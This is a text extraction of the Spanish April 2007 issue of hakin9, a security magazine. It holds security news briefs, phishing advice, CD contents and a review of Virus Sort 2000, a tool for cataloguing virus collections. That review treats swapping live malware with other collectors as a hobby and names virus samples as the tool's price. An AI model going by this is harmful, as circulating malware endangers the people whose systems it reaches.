Revista Hakin9 n23 04-2007 ES

October 3, 2017 | Author: Van.Logan | Category: Windows Registry, Phishing, Computer Virus, Computer File, Malware
Share Embed Donate


Short Description

Descripción: Very Good...

Description

hakin9

hakin9 de abril... En abril, como cada mes desde enero del año 2007, hakin9 os trae una serie de artículos nuevos, interesantes y prácticos, que os ayudarán en vuestras actividades profesionales y que os dejarán conocer mejor algunas parcelas en el mundo de la seguridad informática hasta este momento desconocidas... Uno de los artículos que seguro vale la pena leer es: Registro de Windows, que os enseñará cómo implementar seguridad sobre el registro de Windows y también como prevenir unos posibles ataques al Editor de Registro de Windows. El autor de texto es un profesional certificado por Intel Inside y también miembro de la comunidad de codigo seguro de Microsoft – quién mejor para contarnos sobre este tema. Seguro os resultará muy útil e interesante. Otro artículo que vale la pena conocer es Bluetooth – La Amenza Azul . Los problemas que puede traernos el uso de Bluetooth son cada vez más populares, por lo tanto vale la pena conocerlo mas a fondo. Y para los que ya conocen el tema siempre es conveniente repetir la información. En nuestra sección de herramientas encontrarán la descripción de Virus Sort 2000. Esta herramienta os ayudará a formar vuestra propia base de virus para coleccionarlos e intercambiar con otros aficionados al tema. Al ser Shareware todos podéis probarla. En el CD de hakin9 encontraréis nuestro habitual hakin9live – cada vez mas actual y más útil. Tambien encontraréis aplicaciones profesionales – totalmente gratis solo para los Lectores de hakin9. Aprovechando esta oportunidad quiero invitaros otra vez más a participar de forma activa en la revista. Los articulos en la mayoria de las revistas están preparados por la redacción sin consultar los temas con los Lectores. En hakin9 puedes ser tú quien decida sobre el contenido final de la revista. Haciéndote nuestro Betatester recibirás articulos para leerlos mucho antes que los demas Lectores. Y serás tú quién nos diga si vale la pena publicarlos. Esta ayuda es voluntaria – participas cuando tienes tiempo y ganas. Me gustaría también una vez más invitaros a compartir con los lectores de hakin9 vuestras experiencias con herramientas de seguridad informática y participar en nuestros tests. También es una buena oportunidad para recordaros la posiblidad de ser miembro de nuestro Club .PRO. Si tienes una empresa relacionada con seguridad IT este Club es para tí. Por un coste de suscripcion anual tienes la publicidad de tu empresa en forma de tarjeta de visita, en los 12 números correspondientes a la suscripción anual. Esto te ayudará a dar a conocer a tu empresa con el coste muy bajo. Si tenéis alguna duda, opinión o comenterio acerca de la revista y su calidad no dudéis en poneros en contacto con nostros. Todas las opiniones son muy valiosas para nuestra redacción. Espero que disfrutéis de la compañía de hakin9, ¡buena lectura! Katarzyna Chauca

4

En breve

06

Resaltamos las noticias más importantes del mundo de la seguridad de sistemas informáticos.

Contenido de CD hakin9.live

10

Comentamos el contenido y el funcionamiento de nuestra distribución hakin9.live.

Herramientas Virus Sort 2000

12

The BlooD

Se trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros coleccionistas. VS2000 nos permite crear una base de datos de nuestros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nuestra colección, archivos de 0 bites, entre otras muchas cosas.

Ataque Registro de Windows

16

Víctor López Juárez

En este artículo aprenderás qué es el Registro de Windows y su editor, cómo implementar seguridad sobre el Registro y cómo atacar el Editor del Registro.

Bluetooth – La Amenaza Azul

24

Ezequiel Martín Sallis

En este artículo aprenderás qué es Bluetooth, cómo funciona, cuáles son los ataques mas comunes, etc.

Defensa Web Services Security José Carlos Cortizo Pérez, Diego Expósito, Diego Peces

30

En este artículo leerás cómo protegerse de los problemas básicos de seguridad relacionados con los servicios web y lo que deberías tener en cuenta a la hora de desarrollar tu propio servicio. www.hakin9.org

hakin9

Administrando la Inseguridad Informática

36

Jeimy J. Cano

En este artículo aprenderás diseñar y construir sistemas menos inseguros, animar un apostura vigilante y proactiva en la gestión de la seguridad informática.

Programas malignos

44

En este artículo aprenderás qué es un Virus, Gusano y Caballo de Troya.

56

Javier Alcubierre

En este artículo leerás sobre proteger tu código de miradas indiscretas, los puntos fuertes y débiles de los distintos métodos de ofuscación y sobre implementar tus propios métodos de ofuscación.

Para principiantes Protege gratis tu Windows

64

ANELKAOS

Existen antivirus gratuitos que no tienen mucho que envidiar a los comerciales, Un soft de protección desactualizado puede ser el medio para vulnerar tu sistema

Test de consumidores

72

Presentamos las opiniones de nuestros Lectores sobre los programas antivirus.

Entrevista

76

Anna Marcinkiewicz

Hablamos con Fernando Bahamonde, Presidente de ISSA-España, nos cuenta sobre hacking y ajedrez, sobre el mito de ser hacker que no pierde su actualidad y muchas cosas más...

Próximo número

Publicidad: [email protected] Suscripción: [email protected] Diseño portada: Agnieszka Marchocka Las personas interesadas en cooperación rogamos se contacten: [email protected]

Carlos Javier Fornes Cabrera

Ofuscación de Código en Java

está editado por Software-Wydawnictwo Sp. z o.o. Dirección: Software-Wydawnictwo Sp. z o.o. ul. Bokserska 1, 02-682 Varsovia, Polonia Tfno: +48 22 887 10 10, Fax: +48 22 887 10 11 www.hakin9.org/es Producción: Marta Kurpiewska [email protected] Distribución: Monika Godlewska [email protected] Redactor jefe: Anna Marcinkiewicz [email protected] Redactora adjunta: Katarzyna Świnarska [email protected] Preparación del CD: Rafał Kwaśny Composición: Artur Wieczorek [email protected] Traducción: Osiris Pimentel Cobas, Mariusz Muszak, Raúl Nanclares, Paulina Stosik Corrección: Jesús Alvárez Rodrígez, Jorge Barrio Alfonso Betatesters: Juan Pérez Moya, Jose M. García Alias, Luis Peralta Nieto, Jose Luis Herrera, Paco Galán

82

Avance de los artículos que se encontrarán en la siguiente edición de nuestra revista.

www.hakin9.org

Si estás interesado en comprar la licencia para editar nuestras revistas contáctanos: Monika Godlewska e-mail: [email protected] tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Imprenta: 101 Studio, Firma Tęgi Distribuye: coedis, s.l. Avd. Barcelona, 225 08750 Molins de Rei (Barcelona), España La Redacción se ha esforzado para que el material publicado en la revista y en el CD que la acompaña funcione correctamente. Sin embargo, no se responsabiliza de los posibles problemas que puedan surgir. Todas las marcas comerciales mencionadas en la revista son propiedad de las empresas correspondientes y han sido usadas únicamente con fines informativos. ¡Advertencia! Queda prohibida la reproducción total o parcial de esta publicación periódica, por cualquier medio o procedimiento, sin para ello contar con la autorización previa, expresa y por escrito del editor.

La Redacción usa el sistema de composición automática Los diagramas han sido elaborados con el programa de la empresa El CD incluido en la revista ha sido comprobado con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.

La revista hakin9 es editada en 7 idiomas: ES

PL

CZ

IT

FR

DE

EN

Advertencia ¡Las técnicas presentadas en los artículos se pueden usar SÓLO para realizar los tests de sus propias redes de ordenadores! La Redacción no responde del uso inadecuado de las técnicas descritas. ¡El uso de las técnicas presentadas puede provocar la pérdida de datos!

hakin9 Nr 2/2006

5

Breves

Videos y fotos de la ejecución de Saddam que contienen virus informáticos y spyware

Los crackers han evolucionado en sus métodos malévolos y están atacando con campañas masivas de spam con videos y fotos de la ejecución de Saddam Hussein que esconden en su interior virus informáticos y spyware. Un virus ha sido identificado como Banload y contiene el archivo Saddam morto.scr, el otro sería el Delf.acc que contiene al archivo saddam.exe. Estos virus tienen el objetivo de lucrarse mediante el robo de identidades y claves bancarias para después limpiar las cuentas de sus propietarios.

40 años de cárcel por... un Spyware

La profesora Julie Amero, de Windham, situado en el estado de Connecticut, estaba impartiendo su clase de inglés a los alumnos de 12 años, cuando de la pantalla de su ordenador salieron imágenes pornográficas. Estos hechos ocurrieron en el 2004, y ahora ha sido declarada culpable de riesgo de daños a menores por lo que podría ser condenada a cuarenta años de cárcel. Las imágenes pop-ups que salieron en el ordenador de la profesora eran fruto de un Spyware instalado en el ordenador de la profesora. Las imágenes salían de varias páginas webs, como meetlovers.com y femalesexual.com, entre otras. Para la acusación tales imágenes solo salían por que la profesora frecuentaba esas páginas, mientras que la defensa argumentó, a través del informático W. Herbert Horner, el ordenador estaba infectado por culpa de una inocente web de peinados y no por visitar páginas pornos. Además el programa antivirus del colegio estaba caducado, por lo que la profesora no pudo limpiar su ordenador. Los abogados de la defensa, en primera instancia pidieron la anulación del juicio, alegando que el jurado comenzó a discutir el caso en un almuerzo en un bar, pero esta instancia fue rechazada. Ahora pretenden apelar la decisión para mostrar la inocencia de su cliente.

6

Descubren software malicioso para Skype

E

l descubrimiento de un Troyano que infecta Skype, la aplicación de telefonía VoIP, podría indicar que los ataques dirigidos están avanzando junto con la creciente popularidad de la VoIP. Recientemente se descubrió un gusano que ataca a los usuarios de la popular aplicación de telefonía VoIP Skype en la región de Asia Pacífico, especialmente en Corea. De acuerdo con Websense, el gusano utiliza Skype Chat para descargar y ejecutar un archivo llamado sp.exe. Al parecer, el archivo deposita un Troyano que roba contraseñas con un gusano integrado que utiliza NTKrnl Secure Suite, una compresión rara pero no desconocida. La buena noticia es que aún no se ha reportado una amplia propagación, señaló Jesús Vega, Director General de Trend Micro en España y Portugal. Aunque eso no significa que los usuarios de Skype deban despreocuparse y entrar en los enlaces que reciben mientras conversan. Ya que el software espía no parece explotar algún defecto de Skype, se requiere de la intervención del usuario para enviar el enlace a los contactos disponibles de un cliente infectado de Skype. Se le notifica al usuario infectado que un programa está tratando de tener acceso y que tiene que aceptarlo. Por lo tanto, los usuarios no deben permitir que programas sospechosos tengan acceso a Skype y deben evitar también entrar en los enlaces que provengan de fuentes inesperadas. Actualmente, Trend Micro identifica el componente que roba contraseñas como TSPY_SKPE, que no es el primer código malicioso o software espía que utiliza Skype: en octubre pasado se detectó WORM_ SKYPERISE.A. La diferencia es que este spyware ya emplea una rutina más maliciosa (robo de información), en comparación con el gusano reportado en octubre que sólo propagaba copias de sí mismo a otros usuarios, afirmó Vega.

www.hakin9.org

A pesar del hecho de que la técnica de propagación de este gusano es común, obviamente VoIP se está convirtiendo en un buen campo de batalla que los autores de códigos maliciosos pueden aprovechar. Además, la rutina para el robo de contraseñas, la compresión polimórfica para evitar la detección, y un país de origen específico indican que es un ataque localizado/dirigido con fines de lucro. Trend Micro ya detecta este spyware usando el archivo de patrones más recientes. De acuerdo con las instrucciones manuales para eliminarlo, los usuarios afectados simplemente pueden eliminar el archivo detectado y quitar el registro que la entrada crea. El spyware troyano está hospedado en un sitio Web malicioso. A través de la función de Chat se envía un enlace de dicho sitio a los contactos de Skype, urgiendo a los usuarios a entrar en él. De hecho, puede utilizar una forma de ingeniería social al hacerse pasar por un programa interesante. Al momento de desarrollar este boletín, el sitio ya no estaba disponible. El análisis inicial de la muestra que recibió Trend Labs revela que este software espía es un keylogger típico; roba la secuencia de teclas del usuario y guarda los datos recopilados en un archivo de texto. Esta rutina puede dar a los usuarios maliciosos, incluidos hackers remotos, acceso no autorizado a la cuenta Skype de un usuario infectado, posiblemente cuentas bancarias en línea y más. Probablemente veremos amenazas adicionales para VoIP en el futuro. Después de todo, el Vishing (phishing sobre VoIP) ya está rondando por Internet. Y Wikipedia incluye una entrada (http://en.wikipedia.org/ wiki/VoIP_spam) para un problema aún no existente de spam vía VoIP, llamado SPIT (Spam over Internet Telephony). Esperemos amenazas para VoIP similares, si no es que más sofisticadas, en el futuro.

News

Principales consejos para estar protegido frente al phishing

E

l phishing se basa en mensajes de correo electrónico que conducen a sitios Web maliciosos diseñados para robar datos bancarios de usuarios – PandaLabs confirma que esta amenaza continuará siendo protagonista durante este nuevo año. PandaLabs, el laboratorio antimalware de Panda Software, confirma que el robo de datos privados y confidenciales por Internet, phishing, es una de las principales amenazas de cara al nuevo año. La gran cantidad de transacciones económicas realizadas en las fechas navideñas provoca un aumento de fraudes online de este tipo. Por ello, PandaLabs ofrece una cómoda guía de consejos para salvaguardar la integridad económica de los usuarios. Lo primero a tener en cuenta es que su entidad bancaria nunca se va a poner en contacto con usted por medio del correo electrónico para pedirle ningún tipo de contraseña. Los mensajes de correo electrónico que reciba solicitándole datos o con un enlace que le lleve a una página donde le sean pedidos, bórrelos directamente, ya que es muy probable que se traten de mensajes fraudulentos. Asegúrese también de que la página Web que está visitando es realmente la de la entidad bancaria que desea. Hay que observar el domi-

nio de la página para comprobar que no hay ningún tipo de variación con el correspondiente al dominio real de la entidad. Además, cerciórese de que está realizando una conexión segura. Para ello, debe observar que se encuentra en pantalla el dibujo del candado cerrado que nos indica la seguridad de la conexión y que la URL comienza con las letras https. También, en caso de duda, se puede comprobar que la certificación de la Web sea válida, haciendo doble clic en el candado. Otra forma de asegurar la conexión en el sitio Web real de la compañía es escribiendo directamente en el navegador la dirección de la entidad a la que deseamos acceder, no a través de hipervínculos que puedan estar dirigidos a sitios Web fraudulentos que permitan el robo de datos. Además, la revisión periódica del extracto de las cuentas bancarias sirve para cerciorarse de que no han existido movimientos irregulares de activos en su cuenta, que podrían haber sido provocados por un ataque de phishing. Si observa operaciones desconocidas e irregulares en su extracto, la mejor solución es contactar con la entidad bancaria con la que se han realizado las transacciones, de modo que se pueda detallar en qué han consistido las mismas.

La industria informática alcanza acuerdo en la definición de Spyware

L

a Anti–Spyware Coalition, formada por Microsoft, Symantec, Computer Associates, AOL, Yahoo! y McAfee, publicó en su sitio Web el primer documento en el que se define conjuntamente el termino Spyware. En el documento se hace una clasificación de este tipo de códigos (que se instalan en el ordenador para espiar la actividad de los usuarios) basado en el riesgo que suponen. Entre los códigos de alto riesgo

se encuentran todos aquellos que se expanden masivamente por correo electrónico, virus y worms (gusanos). Códigos instalados sin autorización ni conocimiento de los usuarios, a través de un bug de seguridad, son también considerados de alto riesgo, así como aquellos que interceptan emails o modifican los niveles de seguridad del ordenador. El documento ha levantado cierta polémica en el sector informático.

www.hakin9.org

Internet Explorer 6: 284 días inseguro

Un experto en seguridad del Washington Post, publicó un informe para nada alentador para el navegador de Microsoft. Según una investigación hecha por el prestigioso diario Washington Post, haber utilizado la versión 6 del popular navegador de Microsoft, Internet Explorer, fue inseguro durante 284 días, más de un tercio del año. El informe revela que, aún aquellos usuarios que parchearon su equipo tan pronto como Microsoft publicó los parches también estuvieron expuestos a cualquier clase de exploits. Para agravar más la situación, hubo 98 días (el año pasado) en los cuales no hubo ningún tipo de parche disponible para fallas que habían sido detectadas y utilizadas por los hackers para robar datos personales. En comparación, los usuarios del Mozilla Firefox solo estuvieron nueve días expuestos de manera crítica a la merced de cualquier ciber–delincuente que quisiera aprovecharse de ellos. Si bien la versión 7 del Explorer promete más seguridad y menos fallas, su tardío lanzamiento (noviembre del año pasado) no alcanzó para que el panorama con respecto a las vulnerabilidades no fuera tan sombrío.

Bug crítico en Adobe Reader y Acrobat 7.0.8

Resulta que los programas de Adobe también pueden ser afectados. Un polaco Piotr Bania ha descubierto una vulnerabilidad catalogada como crítica en Adobe Reader y Acrobat. Este bug puede ser explotado por atacantes para hacerse con un control total del sistema afectado. El fallo se da por un error de corrupción de memoria cuando se procesan datos malformados lo que lleva bajo determinadas circunstancias a la ejecución arbitraria de comandos por ejemplo abriendo un documento especialmente manipulado. Afecta Adobe Reader 7.0.8 y anteriores, Acrobat Standard, Profesional, Elements y 3D versiones 7.0.8 y anteriores. La solución pasa por actualizar a las versiones 7.0.9 – 8.0.0.

7

Breves

Un internauta condenado a dos meses de prisión y a una multa por descargar películas

Un internauta francés que descargaba películas por el sistema de intercambio directo de ficheros (peer-to-peer) ha sido condenado a dos meses de cárcel y a una multa, según la sentencia dada a conocer por un tribunal de Nantes. No obstante, esta persona no tendrá que ingresar en prisión. El ordenador de este usuario había llegado a acumular alrededor de 400 películas, por las que tendrá que pagar ahora 10 euros por cada una a las asociaciones de edición de obras cinematográficas que se habían personado como parte civil en este proceso. La sentencia tiene en cuenta que el internauta descargaba películas para su propio disfrute, sin interés lucrativo. Por este motivo se le han aplicado sanciones reducidas. El Parlamento francés aprobó definitivamente una ley en junio de 2006 que regula las descargas de obras a través de Internet y contempla en algunos supuestos penas de cárcel y multas. Además, la ley francesa establece sanciones graduales que pueden llegar a los tres años de cárcel y fuertes multas para el que comercialice programas destinados a fomentar la piratería.

Encuentran una denegación de servicio en Snort

En los últimos días se ha encontrado una vulnerabilidad en Snort 1.x y 2.x que puede ser aprovechada por atacantes sobre todo para provocar una denegación de servicio en el detector de intrusos. El problema se basa en que el algoritmo de reconocimiento de patrones en Snort puede ser abusado para que consuma todos los recursos y provocar que el ratio de detección baje hasta ser nulo a través de paquetes especialmente manipulados. La vulnerabilidad se ha confirmado en la versión 2.4.3 pero otras podrían verse afectadas. Para evitar este problema, se recomienda actualizar a las últimas versiones, o sea, descargarlas desde la página Web www.snort.org.

Telefónica pone a disposición de Pymes, Negocios y Profesionales una herramienta de software diseñada por ECIJA

T

elefónica de España continúa avanzando en su objetivo de facilitar la gestión de los negocios y las pequeñas y las medianas empresas y para ello lanza al mercado la Solución Ayuda LOPD. Esta solución on-line permite cumplir con las obligaciones impuestas por la normativa de protección de datos personales de una forma sencilla y económica. Para ello, ha trabajado con Ecija, firma de Abogados y Consultoría IT especializada en Protección de Datos y en la labor de apoyo y gestión a las empresas. Solución Ayuda LOPD se basa en una aplicación web (en modo ASP) que analiza la importancia y el grado de confidencialidad de los datos personales que tratan las pymes, negocios y profesionales y ofrece las soluciones necesarias para el cumplimiento tanto de la Ley Orgánica 15/1999 de Protección de Datos de Carácter Personal (LOPD) como del Real Decreto 994/1999, Reglamento de Medidas de Seguridad (RMS). Además, el servicio proporciona los formularios oficiales de inscripción de ficheros ante la Agencia Española de Protección de Datos, permite generar y mantener siempre actualizado, y de forma dinámica, el Docu-

Proyecto Telefónica On-line

8

www.hakin9.org

mento de Seguridad de la empresa, incluye la Documentación Jurídica necesaria para la adecuación (contratos, cláusulas, avisos legales, etc). El uso de esta solución garantiza la adecuación a la ley de forma rápida y eficaz a bajo coste, evitando cuantiosas sanciones por parte de la Agencia Española de Protección de Datos y velando por la profesionalidad y la calidad de servicio. Las principales ventajas de esta solución on-line son la facilidad de uso puesto que no se requieren conocimientos técnicos ni jurídicos para su utilización debido a la automatización de la mayoría de los procesos y los servicios de soporte gratuito. Su implantación supone un ahorro de costes y garantiza la actualización continua, estando cubierta la adaptación a la normativa ante posibles cambios legislativos, así como la fiabilidad, ya que la solución está desarrollada por un equipo de consultores, técnicos y abogados especialistas en la protección de datos personales. La Solución Ayuda LOPD puede contratarse a través de la Red de Ventas de Telefónica de España, los distribuidores autorizados y en www.telefonicaonline.com.

News

Encuentran múltiples vulnerabilidades en lectores de archivos PDF

D

iferentes lectores de archivos PDF son propensos a múltiples vulnerabilidades del tipo desbordamiento de búfer. La situación se produce debido a que por diseño, éstas aplicaciones no comprueban los límites de la información proporcionada por estos archivos, antes de manipular la misma y copiarla a un búfer con insuficiente tamaño para recibirla. Un atacante puede explotar estas debilidades para ejecutar código de forma arbitraria, aunque esto depende del contexto y del lector en concreto. La prueba de concepto existente, solo ocasiona una denegación de servicio (la aplicación involucrada se congela y deja de responder). Otros ataques podrían ser implementados a partir de esta situación, y ser empleados para el robo de información, o la ejecución de algún código malicioso. El problema se origina al aplicar las especificaciones para los documentos en formato PDF (que es una abreviación de Adobe Portable Document Format). La especificación 1.3 de Adobe, define una serie de objetos en forma de árbol con jerarquías (es decir, cada objeto se organiza en diferentes ramas, cada una dependiente de la anterior hasta llegar a la raíz), formando un diccionario en forma de catálogo. El catálogo contiene las referencias necesarias a objetos y datos que componen el contenido del documento y sus atributos. También, contiene directivas para definir la forma en que el documento debe ser mostrado al usuario por la aplicación. Por un error de diseño, no se contempla en estas especificaciones el uso de nodos o ramas con referencias u objetos inválidos. De ese modo, cuando el documento incorpora un nodo inválido, la conducta de la aplicación es inesperada. Las consecuencias (entre otras), pueden ser la corrupción de

la memoria, acceso no autorizado a zonas de la memoria y denegación de servicio. La corrupción de la memoria con la consecuente escritura de datos en áreas no previstas para ello, pueden llevar a la ejecución arbitraria de código. Hasta ahora se ha comprobado el problema en los siguientes lectores de archivos PDF: • • • • • • • •

Adobe Acrobat Reader 7.0.x, Adobe Acrobat Reader 6.0.x, Adobe Acrobat Reader 5.1, Adobe Acrobat Reader 5.0.x, Adobe Acrobat Reader 4.0.x, Adobe Acrobat Reader 3.0, Apple Mac OS X Preview.app 3.0.8 (409), Xpdf 3.0.1 (Patch 2).

Sin embargo, siempre hay que tener en cuenta que otras aplicaciones también podrían ser afectadas, ya que no se debe a un problema de las aplicaciones en si mismas, sino a un error de diseño de las especificaciones para leer estos archivos. No es afectada la versión 8.0 de Acrobat Reader. Debido a su naturaleza (o sea, error de diseño), desgraciadamente no existe una solución concreta para este problema. Las consecuencias de su explotación, dependerán de la aplicación y la plataforma utilizada. Para protegerse mejor antes de los ataques de virus, se recomienda, como una forma de disminuir los riesgos, no abrir documentos PDF que no han sido solicitados, o que vienen de fuentes no comprobadas, una cosa muy importante es también mantener actualizado su antivirus. Una solución temporal también podría ser utilizar únicamente Acrobat Reader 8.0.0 como lector, pero ello no asegura al usuario no ser afectado por otras consecuencias de este problema.

www.hakin9.org

Spyware de Nueva Generación que Elude a los Antivirus

Los hackers y cibercriminales utilizan troyanos y keyloggers para traspasar la seguridad de los antivirus y antispywares. Esto ha ocasionado que el 89% de los PCs particulares estén infectados con un promedio de 30 virus informáticos o spywares cada uno. Según se analiza en el informe de Webroot, empresa de seguridad informática creadora del producto antispyware Spy Sweeper.

Una variante troyana del virus informático Código Rojo ataca redes informáticas británicas y estadounidenses

Expertos en seguridad en Internet informan que están vigilantes ante la aparición de una variante de tipo troyana del gusano informático Código Rojo que detectaron tras los ataques cometidos en miles de terminales repartidas entre Estados Unidos y Reino Unido. La variante del Código Rojo fue identificada como Código Rojo C. por la empresa privada de seguridad en Internet, Symantec AntiVirus Research Center, y no tardó en causar alarma mundial. El UNIRAS, una sección del centro del Gobierno británico para coordinar esfuerzos en la defensa de la infraestructura informática británica contra ataques electrónicos, así como la compañía de software antivirus Network Associates se confesaron víctimas del nuevo invasor en Internet. Código Rojo C tiene poco que ver con su padre virtual ya que esta nueva versión no desactiva páginas Web como hacía el Código Rojo, sino que otorga al pirata informático control remoto sobre las computadoras que infecta por medio de un caballo de Troya que introduce en el sistema. Su capacidad de dispersión es hasta seis veces más rápida, y sus posibles efectos sobre Internet se desconocen, siendo más difícil de detectar y más complicado de eliminar que su predecesor. Esta nueva amenaza es más peligrosa que las versiones anteriores del Código Rojo, a pesar de que es improbable que afecte toda la infraestructura de Internet a corto plazo, según el UNIRAS.

9

hakin9.live

Contenido de CD

E

n el disco que acompaña a la revista se encuentra hakin9.live (h9l) en la versión 3.2.1 – aur – distribución bootable de Aurox que incluye útiles herramientas, documentación, tutoriales y material adicional de los artículos. Para empezar el trabajo con hakin9.live, es suficiente ejecutar el ordenador desde el CD. Después de ejecutar el sistema podemos registrarnos como usuario hakin9 sin introducir contraseña. El material adicional se encuentra en los siguientes directorios:

por eso el Comodo Firewall tenía que pasar muchos tests de seguridad para asegurarse de que tiene una poder suficiente para averiguar todos los datos que entran en tu ordenador. Es capaz de clasificar hasta 10 000 aplicaciones según su nivel de seguridad: SAFE, SPYWARE y ADWARE. Pasó el Comodo's Patent Injection Leak Test que simula la técnica que usan los hackers durante los ataques de Troyanos. No necesita ningún cambio de configuración para trabajar con su máxima fuerza.

docs – documentación en formato HTML, art – material complementario a los artículos: scripts, aplicaciones, programas necesarios, tut – tutoriales, tutoriales tipo SWF.

Enigma Lite Desktop Edition (versión trial de 90 días) es un programa que sirve para almacenar y transferir documentos; lo usan tanto los usuarios individuales para proteger sus ordenadores de mesa o portátiles, como las grandes empresas. Asegura la protección y la privacidad de archivos, correos electrónicos, bases de datos y de todos los documentos. Enigma ofrece una solución diseñada también para sistemas operativos Microsoft; sus componentes están integrados con el Windows. Nuestros lectores reciben el descuento de 50% para la versión completa del programa.

• • •

Los materiales antiguos se encuentran en los subdirectorios_arch, en cambio, los nuevos – en los directorios principales según la estructura mencionada. En caso de explorar el disco desde el nivel de arranque de hakin9.live, esta estructura está accesible desde el subdirectorio /mnt/cdrom. Construimos la versión 3.2.1 – aur h9l en base a la distribución de Aurox 12.0 y de los scripts de generación automatica (www.aurox.org/pl/live). Las herramientas no accesibles desde el CD se instalan desde el repositorio de Aurox con el programa yum. En h9l encontraremos un programa de instalación (Aurox Live Instaler). Después de instalar en el disco se puede emplear el comando yum para instalar programas adicionales.

Tutoriales y documentación

La documentación está compuesta de, entre otros, tutoriales preparados por la redacción que incluyen ejercicios prácticos de los artículos Suponemos que el usuario emplea hakin9.live. Gracias a ello evitaremos los problemas relacionados con las diferentes versiones de los compiladores, la diferente localización de los archivos de configuración u opciones necesarias para ejecutar la aplicación en el entorno dado. Especialmente para nuestros Lectores CD1 contiene aplicaciones comerciales:

Comodo Firewall Pro

Comodo es una empresa especialista líder en seguridad de Internet y provee la nueva generación de Soluciones de Seguridad para E-commerce. Casi todos los firewalls desgraciadamente tienen algunos agujeros,

10

Enigma Lite Desktop Edition

Net Conceal AntiHistory

Net Conceal AntiHistory (versión completa) es un programa que borra perfectamente historial de tu actividad. Es capaz de borrar las cookies, Temporary Files, información recién escrita, historial de búsqueda, etc. Se lo puede usar con programas Internet Explorer, Windows, MS Office, MSN Messenger, programas de archivo (WinZip y WinRAR), programas de P2P (Kazaa, eMule), Google Toolbar y Google Desktop.

NetConceal Anonymizer

NetConceal Anonymizer (versión trial) es un software que esconde tu IP cuando navegas por la red o durante cualquiera actividad tuya en Internet. Se lo puede usar con el Internet Explorer, programas de P2P, o con el e – mail – nadie verá tu autentica dirección de IP. ¡Esconde tu IP y siéntete seguro!

eScan Internet Security

Es una solución de seguridad diseñada para proteger los ordenadores personales de los virus, spyware, troyan, adware, malware, keyloggers, hackers, spammers, etc. Contiene el escanner de los emails y páginas Web, spam blocker para prohibir los emails peligrosos, gestión de privacidad, filtro de Pop-ups, etc. Versiones en inglés, español, francés, alemán, polaco, chino, islandés, portugués, italiano y finlandés. l

www.hakin9.org

En caso de cualquier problema con CD rogamos escribid a: [email protected]

Si no puedes leer el contenido del CD y no es culpa de un daño mecánico, contrólalo en por lo menos dos impulsiones de CD.

Virus Sort 2000 Sistema operativo: Windows Licencia: Shareware Destino: Catalogador de colecciones de virus Página de inicio: http://www.infonegocio.com/vbuster/

Herramientas Como el propio programa dice, Virus Sort 2000 es everything VX Collector Needs. Se trata de una herramienta indispensable para todo aquel coleccionista de virus que desee llevar al día su colección y poder intercambiar virus con otros coleccionistas.

VS2000 nos permite crear una base de datos de nuestros virus, organizar nuestra colección, ver estadísticas, comparar logs, permite eliminar posibles fakes de nuestra colección, archivos de 0 bites, entre otras muchas cosas. VS2000 posee una licencia Shareware, pero el único pago que hay que efectuar es ceder una cantidad de virus, la que sea, a su autor, para poder conseguir las nuevas versiones, aunque en la Web del autor existe una versión algo más antigua.

Virus Databases

Como es lógico empezaremos por el principio, y el principio es la pestaña de Virus Databases. En esta pestaña esta todo lo relacionado con nuestras bases de datos de virus. VS2000 transforma un archivo log en una base de datos, la cual nosotros podemos modificar, consultar, etc. •





12

Build Database: Desde aquí se hace una base de datos a partir de un archivo log. Es necesario recordar que VS2000 nos hace una base de datos distinta por cada log que tengamos. VS2000 reconoce los tipos más usuales de log dependiendo del antivirus, por lo tanto nos realizará una base de datos para KAV (Kaspersky), otra para NOD, … Las bases de datos se guardan con la extensión *.DAT dentro de una carpeta llamada virdata. Compare Log: Compara nuestra base de datos con otro archivo log. Si queremos comparar un archivo de KAV con nuestra base de datos, VS2000 lo comparará con la base de datos de KAV, no con las demás bases de datos, si es un log de NOD, pues con la base de datos de NOD. Esto es por la sencilla razón de que todos los antivirus no nombran a los virus de igual forma. Cuando se hace una comparación se crea un archivo log con los virus que faltan en tu base de datos y que si están en el otro log. Add new virii to DAT: Añade nuevos virus desde un log a nuestra base de datos. Esto es muy útil puesto que si conseguimos nuevos virus no necesitamos



• •

hacer de nuevo un log con toda la colección para actualizar nuestra base de datos, bastará con hacer un log de los nuevos virus, y añadirlos a nuestra base de datos. Compare two logs: Compara dos los entre ellos mismos, NO los compara con la base de datos. Crea dos archivos logs, en los cuales están los virus que faltan en el otro log, es decir, si comparamos los logs: blood.log y avp.log nos creará dos archivos: uno que contenga los virus que faltan en el log blood.log y que se encuentran en avp.log, y otro log de forma viceversa. Search: Busca virus dentro de nuestra base de datos. Realmente útil para buscar virus concretos. Generate Reports: Dentro de esta opción nos encontramos con muchas más opciones: – Generate virii lists: Nos crea una lista con todos nuestros virus. – Generate report: Nos crea un archivo log, igual que el creado con el antivirus, de cada una de nuestras bases de datos. – Generate statistics: Crea un informe con los tipos de virus que poseemos, el número de virus de cada tipo, y el porcentaje. Esta opción también es realmente útil. – Generate browse list from DATs: Genera una lista en 2 o 3 columnas en las que aparece el nombre que AVP le da a un virus, el nombre que le da FProt y el fichero que tienes en tu colección correspondiente a ese virus.

Figura 1. Virus Database

www.hakin9.org

Herramientas









– Generate browse list from 2 logs: Al igual que la opción anterior pero con dos logs externos a la dase de datos. – Generate virii count report: Genera un archivo con el número de virus únicos y totales por cada base de datos que tengamos. – Generate graphical statistics: Realiza estadísticas gráficas a partir de un archivo generado con la opción Generate virii count report antes comentada y permite guardarlas como *.bmp. El único inconveniente es que actualmente solo esta disponible para KAV y F-Prot. Optimize DATs: Ordena los datos de los archivos *.DAT, de tal forma que realiza las comparaciones de forma mucho más rápida. Process with logs: Con esto podremos hacer muchísimas cosas relacionadas con los logs. Las más importantes son: crear un log con los fakes de nuestro log, crear una lista de virus duplicados,… Process with strings: Desde aquí se podrá modificar el log a nuestro gusto, podremos remplazar una linea, palabra, etc. por cualquier otro texto, borrar líneas que contengan ciertas palabras, etc. Extra Options: Permite añadir identificaciones a logs desconocidos, para que VS2000 los pueda comparar, etc. También permite optimizar los DATs inmediatamente después de añadir nuevos virus.

Manage Files

Desde esta pestaña se podrán realizar todas las opciones relacionadas con los archivos de nuestra colección. A continuación vamos a comentar todas las opciones de esta pestaña: •









